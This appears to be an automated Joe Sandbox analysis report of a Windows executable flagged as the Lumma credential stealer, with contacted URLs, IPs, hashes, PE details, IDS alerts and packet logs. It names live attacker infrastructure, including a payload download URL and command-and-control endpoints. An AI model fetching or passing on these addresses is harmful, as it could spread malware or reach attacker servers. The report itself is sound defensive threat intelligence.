https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/z	file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2736867379.000000000101C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737062814.000000000101E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4	file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/off/def.exerosoft	file.exe, 00000000.00000003.2737717306.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apijh	file.exe, 00000000.00000003.2560488144.0000000001030000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.91	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543662
Start date and time:	2024-10-28 08:16:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6292 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
03:17:11	API Interceptor	351220x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.95.91	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	nabppc.elf	Get hash	malicious	Unknown	Browse	104.21.20.147
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	104.19.61.123
	nklarm.elf	Get hash	malicious	Unknown	Browse	188.114.96.83
	jklarm5.elf	Get hash	malicious	Unknown	Browse	1.2.9.168
	http://delivery.aima.in/KUJABQ?id=12442=dkxVUwNRDAEFTQIMBlVXAlpcUABXUAlUW1BaUQMHCQQMB1RQBwAKAwMHUlMBVQsKAQ1KQ1IQSlQGdQtdWUFRG0VcGVIFUQENDgMABgcGBwdVAAUOTwpEQRIPTRxSUlxcQ1UXGhwCUVhWH15bGXhmeSN7ZwZaBkxDUQ==&fl=XUQRE0FZFxpUVFlBRFJfQw1LQlhfTFFHAV0HV0NUX1haXgwXQQtZG1hDUBtYVBxaDF1TQQBMWEEPWQ==	Get hash	malicious	Unknown	Browse	172.67.194.253
	#U304a#U898b#U7a4d#U308a#U4f9d#U983c.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	162.159.234.76
	RFQ_List.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	XWe8H4gRPb.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	http://browserupdater.com	Get hash	malicious	Unknown	Browse	104.21.95.91
	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	104.21.95.91
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	104.21.95.91
	Bill Payment__8084746.html	Get hash	malicious	Unknown	Browse	104.21.95.91
	http://ERICADLERCLOTHING.com	Get hash	malicious	Unknown	Browse	104.21.95.91
	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	104.21.95.91
	https://23.245.109.208.host.secureserver.net/E5V7V5K0D7J7U1G8T1M8U3B4G7B4C0&c=E,1,2fln-18Rcg-_y13WFwFZvQn3f1CXlYk0J_eiM8RKZuA6Djx49SsFA5in1hnyQJXLjWW1L6y7WaZ9eFSqcAvQerMcOF3C93rx-F5tfSihNA,,&typo=1	Get hash	malicious	Unknown	Browse	104.21.95.91
	https://8i.eryonficket.com/g60ff/#aGVzc2dyb3VwaW52QGhlc3MuY29t	Get hash	malicious	Unknown	Browse	104.21.95.91
	https://atpscan.global.hornetsecurity.com/?d=NnVkJrcOtS6jUcSOl6gFYT9DOTvhRx9_0n2vBuK3wGL4RfM1M4gwz-cei5V3Dmlh&f=VRGvOaKnOixCQPnN5E8Zd55sAVwpSzujOffY4RbLuwaxI18GkkIlhnlDIOqXjYsl&i=&k=IMq7&m=Eg31PQDiRU2Qx94y2dnGUum54tAMBzZzPaQN8QexaGJVzCG-OVPo4Om5V2lRlns7wwMWrL4CnmlsokgWfWk2TbD2kmpRAVDDTYG9PjUhZhfW-BwkapmD9W6_zQVWXFVN&n=KNtSaiODbNsJQEbSEZDwh34xn1itEQQfP1UznpoGI5WaWwC1dWtBevnqXGm5H-f7&r=2Ow9cKZ98a-5wptqW8Y-zAwN-MJuNt25fcQbqzqwDypDZl3_sT7dioYpzt-h-3hX&s=1f78a40d69089fa0743a8630bc133d18afc652a160161afdf52202844b072b54&u=https%3A%2F%2Ft.ly%2Fe_R6v	Get hash	malicious	Unknown	Browse	104.21.95.91
	https://ek3k.workspectrumhub.com/bdDURYAV	Get hash	malicious	HTMLPhisher	Browse	104.21.95.91
a0e9f5d64349fb13191bc781f81f42e1	S6DgRF1SSD.xlsx	Get hash	malicious	Unknown	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	file.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\V5GJ8YFILNHAP99OFNDK6O9IE.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2869760
Entropy (8bit):	6.4884400855228765
Encrypted:	false
SSDEEP:	49152:IhWttxbruHgVCMFKf5baKCnylWy2XAzI7:IgttxnuHOCpB2+Z/
MD5:	89595DF1365EF9A4D1CB06E2E56DE5E1
SHA1:	95C37D07350B2F7450337DB3E53220CE2CABD5AE
SHA-256:	A1B51F0DCC34F28AF651152B4A9A2FE4BA536FFAED6114BA46FDE1EFCA075C97
SHA-512:	4169140474D4283E78C81863A0F6B4EB9498088F2529EEAE86EB3DFB6BCF62F0B8E9735D9175E5D5CFEB0ECC819C5CAA0E306CC14F20A335779D14788343BB90
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@,.. ...`....@.. ........................,......T,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...aisygwgx..+......j+..:..............@...pdrbgaqy. ... ,.......+.............@....taggant.@...@,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5423021156116095
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'049'984 bytes
MD5:	59ec0f8f976e6da1e0d4fe5898a1c909
SHA1:	5f011d8fcd5847112f438d95a65f4da6fc15e4e9
SHA256:	851ad11e336605283db6bf83f52b6b08d32e3c5a5c611dee027677d309da173d
SHA512:	fce6a07dc8f1ab62bc488c0f90797da3ee3ea0d180220f52baf5e3febb92b3750ff073caf338bf8898960549501e07eddc0e64e724dc229a34f383eb0e5f5004
SSDEEP:	49152:9rNZzLgjm6ufA3CnyI/I251Pc6NaO5Mq/:ZTzLgy6ufAyy72LPh5R
TLSH:	A2E53996F44472CFD8AF1374852FDEC2991D43BA072458D7996CB4BAAEA3CC015B6C2C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@...........................1......&/...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9E7902391Ah
punpckhbw mm5, qword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	ab413413b2169a53fd96db7b771653a1	False	0.9980407523510971	data	7.975695317160436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kdyfuqdw	0x5b000	0x2be000	0x2bd400	334ee00ef13c0d55e63334e802f804cc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
efifmjtg	0x319000	0x1000	0x400	c9fa72c9b5adbace7a5fd51a984ab596	False	0.783203125	data	6.081736345915373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31a000	0x3000	0x2200	32143069bc2ff6f8a4de9fb022257586	False	0.05962775735294118	DOS executable (COM)	0.8034463737515274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T08:17:13.618747+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-28T08:17:13.618747+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-28T08:17:14.931326+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49708	104.21.95.91	443	TCP
2024-10-28T08:17:14.931326+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49708	104.21.95.91	443	TCP
2024-10-28T08:17:38.955266+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.95.91	443	TCP
2024-10-28T08:18:12.397108+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49760	104.21.95.91	443	TCP
2024-10-28T08:18:15.106941+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49763	104.21.95.91	443	TCP
2024-10-28T08:18:16.022799+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49764	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 08:17:12.459678888 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:12.459726095 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:12.459872007 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:12.461224079 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:12.461245060 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.067226887 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.067306042 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.072629929 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.072650909 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.072864056 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.115024090 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.139187098 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.139205933 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.139281988 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.618766069 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.618858099 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.618922949 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.710980892 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.711015940 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.711026907 CET	49706	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.711034060 CET	443	49706	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.814174891 CET	49707	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.814253092 CET	443	49707	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.814348936 CET	49707	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.814654112 CET	49707	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.814672947 CET	443	49707	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.827193975 CET	443	49707	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.827677011 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.827706099 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:13.827812910 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.828057051 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:13.828072071 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.435452938 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.435564995 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.439071894 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.439085960 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.439373016 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.441139936 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.441175938 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.441246033 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.931339025 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.931423903 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.931484938 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.931488991 CET	49708	443	192.168.2.5	104.21.95.91
